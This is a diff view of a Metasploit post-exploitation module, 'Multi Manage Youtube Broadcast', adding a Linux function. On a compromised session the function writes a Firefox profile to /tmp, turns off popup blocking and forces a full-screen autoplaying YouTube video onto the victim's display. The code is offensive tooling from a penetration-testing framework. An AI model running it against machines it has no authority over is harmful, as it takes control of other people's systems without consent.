7
7
8
8
class Metasploit3 < Msf ::Post
9
9
10
+ include Msf ::Post ::File
11
+
10
12
def initialize ( info = { } )
11
13
super ( update_info ( info ,
12
14
'Name' => 'Multi Manage Youtube Broadcast' ,
@@ -17,7 +19,7 @@ def initialize(info={})
17
19
} ,
18
20
'License' => MSF_LICENSE ,
19
21
'Author' => [ 'sinn3r' ] ,
20
- 'Platform' => [ 'win' , 'osx' ] ,
22
+ 'Platform' => [ 'win' , 'osx' , 'linux' ] ,
21
23
'SessionTypes' => [ 'shell' , 'meterpreter' ]
22
24
) )
23
25
@@ -65,12 +67,43 @@ def win_start_video(id)
65
67
true
66
68
end
67
69
70
+
71
+ #
72
+ # The Linux version uses Firefox
73
+ #
74
+ def linux_start_video ( id )
75
+ begin
76
+ # Create a profile
77
+ profile_name = "temp_profile"
78
+ o = cmd_exec ( %Q|firefox --display :0 -CreateProfile "#{ profile_name } /tmp/#{ profile_name } "| )
79
+
80
+ # Add user-defined settings to profile
81
+ s = %Q|
82
+ user_pref("dom.disable_open_during_load", false);
83
+ user_pref("browser.shell.checkDefaultBrowser", false);
84
+ |
85
+ write_file ( "/tmp/#{ profile_name } /prefs.js" , s )
86
+
87
+ # Start the video
88
+ url = "https://youtube.googleapis.com/v/#{ id } ?fs=1&autoplay=1"
89
+ data_js = %Q|"data:text/html,<script>window.open('#{ url } ','','width:100000px;height:100000px');</script>"|
90
+ joe = "firefox --display :0 -p #{ profile_name } #{ data_js } &"
91
+ cmd_exec ( "/bin/sh -c #{ joe . shellescape } " )
92
+ rescue EOFError
93
+ return false
94
+ end
95
+
96
+ true
97
+ end
98
+
68
99
def start_video ( id )
69
100
case session . platform
70
101
when /osx/
71
102
osx_start_video ( id )
72
103
when /win/
73
104
win_start_video ( id )
105
+ when /linux/
106
+ linux_start_video ( id )
74
107
end
75
108
end
76
109
0 commit comments